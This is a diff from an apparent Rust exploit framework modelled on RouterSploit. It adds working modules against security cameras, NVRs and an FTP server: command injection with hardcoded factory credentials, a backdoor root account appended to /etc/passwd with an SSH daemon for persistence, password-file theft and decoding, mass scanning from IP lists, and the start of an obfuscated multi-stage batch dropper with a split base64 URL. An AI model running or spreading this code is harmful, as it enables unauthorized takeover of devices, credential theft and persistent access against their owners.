let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating SSH key on target...");
exploit_rce(client, target, cmd).await
}
/// Stage 2: Inject a root user with an MD5-hashed password
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
// Compute lowercase-hex MD5 of the provided password
let hash = format!("{:x}", md5::compute(password));
println!("[*] MD5 hash of password: {}", hash);
// Build the echo command to append to /etc/passwd
let cmd = format!(
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
hash
);
println!("[*] Injecting root user into /etc/passwd...");
exploit_rce(client, target, &cmd).await
}
/// Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH server...");
exploit_rce(client, target, cmd).await
}
/// Combined SSH persistence exploit
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
generate_ssh_key(client, target).await?;
inject_root_user(client, target, password).await?;
start_dropbear(client, target).await?;
println!("[+] Persistence complete! You can now SSH in with:");
println!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
-oHostKeyAlgorithms=+ssh-rsa d1g@{}",
password, target
);
Ok(())
}
/// Prompt user for mode, and dispatch accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Exploit mode selection for target: {}", target);
println!(" [1] LFI");
println!(" [2] RCE");
println!(" [3] SSH Persistence");
print!("> ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
match choice.trim() {
"1" => {
print!("Enter file path to read (e.g. /etc/passwd): ");
io::stdout().flush()?;
let mut fp = String::new();
io::stdin().read_line(&mut fp)?;
exploit_lfi(&client, target, fp.trim()).await?;
}
"2" => {
print!("Enter command to execute (e.g. id): ");
io::stdout().flush()?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd)?;
exploit_rce(&client, target, cmd.trim()).await?;
}
"3" => {
// Ask for the desired password, hash it, and persist
print!("Enter desired password for new root user: ");
io::stdout().flush()?;
let mut pwd = String::new();
io::stdin().read_line(&mut pwd)?;
let pwd = pwd.trim();
if pwd.is_empty() {
return Err(anyhow!("Password cannot be empty"));
}
persist_root_shell(&client, target, pwd).await?;
}
_ => return Err(anyhow!("Invalid choice")),
}
Ok(())
}
/// Entry point for the RustSploit dispatch system
pub async fn run(target: &str) -> Result<()> {
execute(target).await
}
@@ -1,34 +1,61 @@
use anyhow::{Result};
use anyhow::Result;
use reqwest::Client;
use std::io::{self, Write};
use md5;
/// // Send a command using the vulnerable RCE endpoint
/// Normalize IPv6 targets, collapsing any number of outer brackets
/// and preserving an explicit port if one was given as `[...] : port`.
fn normalize_target(raw: &str) -> String {
// Case: bracketed IPv6 with port, e.g. "[[::1]]:8080"
if raw.contains("]:") {
if let Some(idx) = raw.rfind("]:") {
let addr_raw = &raw[..idx];
let port = &raw[idx + 2..];
// strip ALL brackets from the address portion
let addr_inner = addr_raw
.trim_start_matches('[')
.trim_end_matches(']')
.to_string();
return format!("[{}]:{}", addr_inner, port);
}
}
// Otherwise, remove any outer brackets entirely...
let inner = raw
.trim_start_matches('[')
.trim_end_matches(']')
.to_string();
// ...and only re-wrap in brackets if it's a bare IPv6 (contains a colon).
if inner.contains(':') {
format!("[{}]", inner)
} else {
inner
}
}
/// Send a command using the vulnerable RCE endpoint
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let normalized = normalize_target(target);
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
target, cmd
normalized, cmd
);
println!("[*] Sending RCE payload: {}", cmd);
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
println!("[+] Status: {}", status);
println!("[+] Response:\n{}", body);
println!("[+] Status: {}", resp.status());
println!("[+] Response:\n{}", resp.text().await?);
Ok(())
}
/// // Generate Dropbear SSH keys on the target system
/// Generate Dropbear SSH keys on the target system
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating Dropbear SSH key...");
exploit_rce(client, target, cmd).await
}
/// // Inject a root user with a hashed password into /etc/passwd
/// Inject a root user with a hashed password into /etc/passwd
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
let payload = format!(
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
@@ -38,21 +65,21 @@ async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str)
exploit_rce(client, target, &payload).await
}
/// // Start Dropbear SSH daemon
/// Start Dropbear SSH daemon
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH daemon...");
exploit_rce(client, target, cmd).await
}
/// // Generate simple MD5(password) as hash for dropbear user
/// Generate an MD5 hash of the given password
fn generate_md5_hash(password: &str) -> String {
let digest = md5::compute(password.as_bytes());
format!("{:x}", digest)
}
/// // Interactive shell logic
async fn execute(target: &str) -> Result<()> {
/// Main interactive flow: get user/pass, hash it, and inject persistence
async fn execute_flow(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
@@ -71,23 +98,25 @@ async fn execute(target: &str) -> Result<()> {
io::stdin().read_line(&mut pass)?;
let pass = pass.trim();
// Hash it!
let hash = generate_md5_hash(pass);
println!("[*] Generated hash: {}", hash);
println!("[*] Generated MD5 hash: {}", hash);
// Run each step
generate_ssh_key(&client, target).await?;
inject_root_user(&client, target, user, &hash).await?;
start_dropbear(&client, target).await?;
println!("\n[+] Done. Try connecting with:");
println!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa {}@{}",
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
-oHostKeyAlgorithms=+ssh-rsa {}@{}",
pass, user, target
);
Ok(())
}
/// // Dispatcher entrypoint
/// Dispatcher entry-point for the auto-dispatch framework
pub async fn run(target: &str) -> Result<()> {
execute(target).await
execute_flow(target).await
}
@@ -1,9 +1,2 @@
pub mod uniview_nvr_pwd_disclosure;
pub mod abussecurity_camera_cve202326609variant1;
pub mod abussecurity_camera_cve202326609variant2;
// pub mod
+79
View File
@@ -0,0 +1,79 @@
use anyhow::{anyhow, Result};
use reqwest::Client;
use std::time::Duration;
/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// // Reference:
/// // - https://www.exploitalert.com/view-details.html?id=34128
/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// // Exploit authors:
/// // - Todor Donev <todor.donev@gmail.com>
/// // - GH0st3rs (RouterSploit module)
pub async fn run(target: &str) -> Result<()> {
let port = 8080; // // Default port
if check(target, port).await? {
println!("[+] Target seems vulnerable: {}:{}", target, port);
// // Simulated shell command execution
let cmd = "id"; // // You can change this to any test command
let output = execute(target, port, cmd).await?;
println!("[+] Executed '{}':\n{}", cmd, output);
// // You can extend this to implement full shell injection
// // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
} else {
println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
}
Ok(())
}
/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(5))
.build()?;
let res = client
.get(&url)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", format!("http://{}:{}", target, port))
.query(&[("iperf", format!(";{}", cmd))])
.send()
.await?;
if res.status().is_success() {
let text = res.text().await?;
Ok(text)
} else {
Err(anyhow!("Command execution failed, status code: {}", res.status()))
}
}
/// // Check if the target is running the vulnerable service
async fn check(target: &str, port: u16) -> Result<bool> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let index_url = format!("http://{}:{}/", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(5))
.build()?;
// // Check /cgi-bin/test
let test_res = client.get(&url).send().await?;
if test_res.status().is_success() {
// // Check root page contains 'Web Configurator'
let index_res = client.get(&index_url).send().await?;
if index_res.status().is_success() {
let body = index_res.text().await?;
if body.contains("Web Configurator") {
return Ok(true);
}
}
}
Ok(false)
}
+1
View File
@@ -0,0 +1 @@
pub mod acm_5611_rce;
@@ -0,0 +1,114 @@
use anyhow::Result;
use reqwest::Client;
use std::io::{self, Write};
use std::path::Path;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, BufReader};
/// // Ensures the target string has a scheme (http://) and includes port
fn normalize_url(ip: &str, port: &str) -> String {
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
ip.to_string()
} else {
format!("http://{}", ip)
};
let port = port.trim();
if port.is_empty() {
with_scheme
} else if with_scheme.contains(':') {
with_scheme // already has port
} else {
format!("{}:{}", with_scheme, port)
}
}
/// // Check if the device is vulnerable to CVE-2024-7029
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", "1;echo_CVE7029;");
let resp = client.get(url).send().await?;
let body = resp.text().await?;
Ok(body.contains("echo_CVE7029"))
}
/// // Interactive shell to send arbitrary commands
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
let stdin = tokio::io::stdin();
let mut lines = BufReader::new(stdin).lines();
loop {
print!("cve7029-shell> ");
io::stdout().flush()?;
if let Some(cmd) = lines.next_line().await? {
let cmd = cmd.trim();
if cmd.eq_ignore_ascii_case("exit") {
break;
}
match exec_cmd(client, base, cmd).await {
Ok(out) => println!("{}", out),
Err(e) => eprintln!("Error: {}", e),
}
} else {
break;
}
}
Ok(())
}
/// // Execute a remote command by abusing the brightness parameter
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
let payload = format!("1;{};", cmd);
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", &payload);
let response = client.get(url).send().await?;
Ok(response.text().await?)
}
/// // Prompt user for a custom port number
fn prompt_port() -> Result<String> {
print!("Enter port to use [default: 80]: ");
io::stdout().flush()?;
let mut port = String::new();
io::stdin().read_line(&mut port)?;
let port = port.trim();
Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
}
/// // Entry point required for RouterSploit-inspired dispatch system
pub async fn run(target: &str) -> Result<()> {
let port = prompt_port()?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
// // Handle either single IP or file of targets
let targets = if Path::new(target).exists() {
tokio::fs::read_to_string(target)
.await?
.lines()
.map(str::to_string)
.collect::<Vec<_>>()
} else {
vec![target.to_string()]
};
for raw_ip in &targets {
let url = normalize_url(raw_ip, &port);
if check_vuln(&client, &url).await? {
println!("[+] {} is vulnerable!", url);
interactive_shell(&client, &url).await?;
} else {
println!("[-] {} is not vulnerable", url);
}
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod cve_2024_7029_avtech_camera;
@@ -1,126 +0,0 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
// CVE: CVE-2023-26609
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
use anyhow::{Result, anyhow};
use reqwest::Client;
use std::io::{self, Write};
/// // Send authenticated LFI request
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
// // ABUS Security Camera LFI
let url = format!(
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
target, filepath
);
println!("[*] Sending LFI request to: {}", url);
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
println!("[+] Status: {}", status);
println!("[+] Body:\n{}", body);
Ok(())
}
/// // Send authenticated RCE request with command injection
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
// // ABUS Security Camera RCE
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
target, cmd
);
println!("[*] Sending RCE request to: {}", url);
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
println!("[+] Status: {}", status);
println!("[+] Body:\n{}", body);
Ok(())
}
/// // Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
// // /etc/dropbear/dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating SSH key on target...");
exploit_rce(client, target, cmd).await
}
/// // Stage 2: Add root user with known password hash
async fn inject_root_user(client: &Client, target: &str) -> Result<()> {
// // echo d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh >> /etc/passwd
let cmd = "echo%20d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh%20>>%20/etc/passwd";
println!("[*] Injecting root user into /etc/passwd...");
exploit_rce(client, target, cmd).await
}
/// // Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
// // /etc/dropbear/dropbear -E -F
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH server...");
exploit_rce(client, target, cmd).await
}
/// // Combined SSH persistence exploit
async fn persist_root_shell(client: &Client, target: &str) -> Result<()> {
generate_ssh_key(client, target).await?;
inject_root_user(client, target).await?;
start_dropbear(client, target).await?;
println!("[+] Persistence complete! Try logging in:");
println!(" sshpass -p <PASSWORD> ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa d1g@{}", target);
Ok(())
}
/// // Prompt user for LFI, RCE, or SSH and execute accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Exploit mode selection for target: {}", target);
println!("[1] LFI");
println!("[2] RCE");
println!("[3] SSH Persistence");
print!("> ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
let choice = choice.trim();
match choice {
"1" => {
print!("Enter file path to read (e.g. /etc/passwd): ");
io::stdout().flush()?;
let mut filepath = String::new();
io::stdin().read_line(&mut filepath)?;
exploit_lfi(&client, target, filepath.trim()).await?;
}
"2" => {
print!("Enter command to execute (e.g. id): ");
io::stdout().flush()?;
let mut command = String::new();
io::stdin().read_line(&mut command)?;
exploit_rce(&client, target, command.trim()).await?;
}
"3" => {
persist_root_shell(&client, target).await?;
}
_ => return Err(anyhow!("Invalid choice")),
}
Ok(())
}
/// // Entry point for the exploit module used by the dispatch system
pub async fn run(target: &str) -> Result<()> {
execute(target).await
}
@@ -1,147 +0,0 @@
use anyhow::{anyhow, Context, Result};
use reqwest::Client;
use std::collections::HashMap;
use std::fs::OpenOptions;
use std::io::Write;
use quick_xml::events::Event;
use quick_xml::name::QName;
use quick_xml::Reader;
/// Reverses the Uniview custom encoded password
fn decode_pass(encoded: &str) -> String {
let map: HashMap<&str, &str> = [
("77", "1"), ("78", "2"), ("79", "3"), ("72", "4"), ("73", "5"), ("74", "6"),
("75", "7"), ("68", "8"), ("69", "9"), ("76", "0"), ("93", "!"), ("60", "@"),
("95", "#"), ("88", "$"), ("89", "%"), ("34", "^"), ("90", "&"), ("86", "*"),
("84", "("), ("85", ")"), ("81", "-"), ("35", "_"), ("65", "="), ("87", "+"),
("83", "/"), ("32", "\\"), ("0", "|"), ("80", ","), ("70", ":"), ("71", ";"),
("7", "{"), ("1", "}"), ("82", "."), ("67", "?"), ("64", "<"), ("66", ">"),
("2", "~"), ("39", "["), ("33", "]"), ("94", "\""), ("91", "'"), ("28", "`"),
("61", "A"), ("62", "B"), ("63", "C"), ("56", "D"), ("57", "E"), ("58", "F"),
("59", "G"), ("52", "H"), ("53", "I"), ("54", "J"), ("55", "K"), ("48", "L"),
("49", "M"), ("50", "N"), ("51", "O"), ("44", "P"), ("45", "Q"), ("46", "R"),
("47", "S"), ("40", "T"), ("41", "U"), ("42", "V"), ("43", "W"), ("36", "X"),
("37", "Y"), ("38", "Z"), ("29", "a"), ("30", "b"), ("31", "c"), ("24", "d"),
("25", "e"), ("26", "f"), ("27", "g"), ("20", "h"), ("21", "i"), ("22", "j"),
("23", "k"), ("16", "l"), ("17", "m"), ("18", "n"), ("19", "o"), ("12", "p"),
("13", "q"), ("14", "r"), ("15", "s"), ("8", "t"), ("9", "u"), ("10", "v"),
("11", "w"), ("4", "x"), ("5", "y"), ("6", "z"),
]
.iter()
.cloned()
.collect();
encoded
.split(';')
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
.collect()
}
pub async fn run(target: &str) -> Result<()> {
println!("\nUniview NVR remote passwords disclosure!");
println!("Author: B1t (ported to Rust)\n");
// Ensure the target has a proper scheme
let target = if target.starts_with("http://") || target.starts_with("https://") {
target.to_string()
} else {
format!("http://{}", target)
};
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(10))
.build()
.context("Failed to build HTTP client")?;
println!("[+] Getting model name and software version...");
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
let version_resp = client.get(&version_url).send().await?;
let version_text = version_resp.text().await?;
let model = version_text
.split("szDevName\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
let sw_ver = version_text
.split("szSoftwareVersion\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
println!("Model: {}", model);
println!("Software Version: {}", sw_ver);
let mut log = OpenOptions::new()
.create(true)
.append(true)
.open("nvr-success.txt")
.context("Unable to open success.txt log file")?;
writeln!(log, "\n==== Uniview NVR ====").ok();
writeln!(log, "Target: {}", target).ok();
writeln!(log, "Model: {}", model).ok();
writeln!(log, "Software Version: {}", sw_ver).ok();
println!("\n[+] Getting configuration file...");
let config_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}", target);
let config_resp = client.get(&config_url).send().await?;
let config_text = config_resp.text().await?;
let mut reader = Reader::from_str(&config_text);
reader.config_mut().trim_text(true);
let mut total_users = 0;
println!("\n[+] Extracting users' hashes and decoding reversible strings:\n");
println!("User\t\t|\tHash\t\t\t\t\t|\tPassword");
println!("_____________________________________________________________________________");
writeln!(log, "\nUser\t\t|\tHash\t\t\t\t\t|\tPassword").ok();
writeln!(log, "_____________________________________________________________________________").ok();
loop {
match reader.read_event() {
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
let mut username = String::new();
let mut userpass = String::new();
let mut revpass = String::new();
for attr in e.attributes().flatten() {
match attr.key {
k if k == QName(b"UserName") => {
username = std::str::from_utf8(&attr.value)?.to_string();
}
k if k == QName(b"UserPass") => {
userpass = std::str::from_utf8(&attr.value)?.to_string();
}
k if k == QName(b"RvsblePass") => {
revpass = std::str::from_utf8(&attr.value)?.to_string();
}
_ => {}
}
}
let decoded = decode_pass(&revpass);
println!("{:<12}|\t{:<34}|\t{}", username, userpass, decoded);
writeln!(log, "{:<12}|\t{:<34}|\t{}", username, userpass, decoded).ok();
total_users += 1;
}
Ok(Event::Eof) => break,
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
_ => {}
}
}
println!("\n[+] Number of users found: {}", total_users);
writeln!(log, "\n[+] Number of users found: {}", total_users).ok();
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.\n");
writeln!(log, "*Note: 'default' and 'HAUser' users may not be accessible remotely.\n").ok();
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod pachev_ftp_path_traversal_1_0;
@@ -0,0 +1,190 @@
use anyhow::{anyhow, Result};
use ftp::FtpStream;
use std::net::ToSocketAddrs;
use std::fs::{File, OpenOptions};
use std::io::{copy, BufRead, BufReader, Write};
use std::path::Path;
use tokio::task;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::*; // // Colorful output
use std::time::Duration;
use tokio::time::timeout;
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
// // Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
fn format_addr(target: &str, port: u16) -> String {
let mut clean = target.trim().to_string();
while clean.starts_with('[') && clean.ends_with(']') {
clean = clean[1..clean.len() - 1].to_string();
}
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
// // Actual FTP path traversal exploit
fn exploit_target(target: String, port: u16) -> Result<String> {
let addr = format_addr(&target, port);
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
let mut ftp = FtpStream::connect(
addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Failed to resolve address"))?
)
.map_err(|e| anyhow!("FTP connection error: {}", e))?;
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
println!("{}", "[+] Logged in successfully as 'pachev'.".green());
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
.into_inner();
let mut reader = std::io::Cursor::new(reader);
let safe_name = target.replace(['[', ']', ':'], "_");
let out_file = format!("{}_passwd.txt", safe_name);
let mut file = File::create(&out_file)?;
copy(&mut reader, &mut file)?;
ftp.quit().ok();
println!("{}", format!("[+] File saved as {}", out_file).green());
Ok(format!("{} SUCCESS", target))
}
// // Save result line into `results.txt`
fn save_result(line: &str) -> Result<()> {
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open("results.txt")?;
writeln!(file, "{}", line)?;
Ok(())
}
// // Public auto-dispatch entry point
pub async fn run(target: &str) -> Result<()> {
let target = target.to_string(); // // Own target early to avoid lifetime issues
println!("Enter the FTP port (default 21):");
let mut port_input = String::new();
std::io::stdin().read_line(&mut port_input)?;
let port_input = port_input.trim();
let port = if port_input.is_empty() {
21
} else {
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number"))?
};
println!("Do you want to use a list of IPs? (yes/no):");
let mut use_list = String::new();
std::io::stdin().read_line(&mut use_list)?;
let use_list = use_list.trim().to_lowercase();
if use_list == "yes" || use_list == "y" {
println!("Enter path to the IP list file:");
let mut path = String::new();
std::io::stdin().read_line(&mut path)?;
let path = path.trim();
if !Path::new(path).exists() {
return Err(anyhow!("List file does not exist: {}", path));
}
let file = File::open(path)?;
let reader = BufReader::new(file);
let semaphore = std::sync::Arc::new(Semaphore::new(MAX_CONCURRENT_TASKS));
let mut futures = FuturesUnordered::new();
for line_result in reader.lines() {
match line_result {
Ok(ip) => {
let ip = ip.trim();
if ip.is_empty() {
continue;
}
let ip_owned = ip.to_string();
let port = port;
let target_clone = target.clone(); // // Clone per task
let permit = semaphore.clone().acquire_owned().await?;
println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
futures.push(tokio::spawn(async move {
let _permit = permit; // // Hold permit alive
let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green());
save_result(&success)?;
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[!] Exploit error: {}", e).red());
save_result(&format!("{} FAIL: {}", target_clone, e))?;
}
Ok(Err(e)) => {
println!("{}", format!("[!] Join error: {}", e).red());
save_result(&format!("{} FAIL: Join error {}", target_clone, e))?;
}
Err(_) => {
println!("{}", format!("[!] Timeout while exploiting {}", target_clone).red());
save_result(&format!("{} TIMEOUT", target_clone))?;
}
}
Ok::<(), anyhow::Error>(())
}));
}
Err(e) => {
println!("{}", format!("[!] Failed to read line: {}", e).red());
}
}
}
// // Wait for all tasks to complete
while let Some(res) = futures.next().await {
if let Err(e) = res {
println!("{}", format!("[!] Task error: {}", e).red());
}
}
} else {
// // Single target mode
let target_owned = target.to_string();
let port = port;
let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green());
save_result(&success)?;
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[!] Exploit error: {}", e).red());
save_result(&format!("{} FAIL: {}", target, e))?;
}
Ok(Err(e)) => {
println!("{}", format!("[!] Join error: {}", e).red());
save_result(&format!("{} FAIL: Join error {}", target, e))?;
}
Err(_) => {
println!("{}", format!("[!] Timeout while exploiting {}", target).red());
save_result(&format!("{} TIMEOUT", target))?;
}
}
}
Ok(())
}
+19 -4
View File
@@ -15,8 +15,23 @@ pub async fn run(target: &str) -> Result<()> {
/// Full Heartbleed scanner with user-defined port (used internally)
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
println!("[*] Connecting to {}:{}...", target, port);
let addr = format!("{}:{}", target, port);
// 1) Trim whitespace and strip _all_ bracket layers:
let raw = target.trim();
let stripped = raw
.trim_start_matches('[')
.trim_end_matches(']');
// 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
let host = if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
// 3) Build the addr string with port:
let addr = format!("{}:{}", host, port);
println!("[*] Connecting to {}...", addr);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
@@ -42,7 +57,7 @@ pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {},
Ok(Ok(n)) if n > 0 => {}
Ok(Ok(_)) => {
println!("[-] No response to Client Hello");
return Ok(());
@@ -79,7 +94,7 @@ pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
};
println!("[+] Received {} bytes in heartbeat response!", n);
let filename = format!("leak_dump_{}.bin", target.replace(":", "_"));
let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
let path = Path::new(&filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
+6 -2
View File
@@ -1,8 +1,12 @@
pub mod generic;
pub mod sample_exploit;
pub mod payloadgens;
pub mod camera;
pub mod router;
pub mod ssh;
pub mod spotube;
pub mod ftp;
pub mod zabbix;
pub mod abus;
pub mod uniview;
pub mod avtech;
pub mod acti;
+141
View File
@@ -0,0 +1,141 @@
use anyhow::Result;
use rand::{seq::SliceRandom, rng};
use std::{
fs,
io::{self, Write},
path::Path,
};
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
fn prompt(prompt: &str) -> Result<String> {
print!("{prompt}");
io::stdout().flush()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer)?;
Ok(buffer.trim().to_string())
}
fn base64_split_encode(url: &str) -> (String, String) {
let mid = url.len() / 2;
let (first, second) = url.split_at(mid);
let first_encoded = BASE64_STANDARD.encode(first);
let second_encoded = BASE64_STANDARD.encode(second);
(first_encoded, second_encoded)
}
fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
let mut symbols = vec![
"测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
"", "", "", "", "", "", "", "", "", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
];
let mut rng = rng();
symbols.shuffle(&mut rng);
let s2 = symbols[0].to_string();
let s3 = symbols[1].to_string();
let s4 = symbols[2].to_string();
let _f1 = symbols[3].to_string();
let _f2 = symbols[4].to_string();
let _f3 = symbols[5].to_string();
let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
let _stage1 = Path::new(stage1_path);
let _stage2 = base.join(format!("{s2}.bat"));
let _stage3 = base.join(format!("{s3}.bat"));
let _stage4 = base.join(format!("{s4}.bat"));
// Encode URL
let (part1_b64, part2_b64) = base64_split_encode(url);
// === Stage 1: writes stage2.bat ===
let stage1_contents = format!(
r#"@echo off
setlocal EnableDelayedExpansion
cls >nul
:: Sleep random 1-4 seconds
set /a RND=1+%RANDOM%%%4
timeout /t %RND% /nobreak >nul
:: Five explicit 1-second sleeps at stage 1
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
echo Creating next stage...
(
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 2
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating next stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 3
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
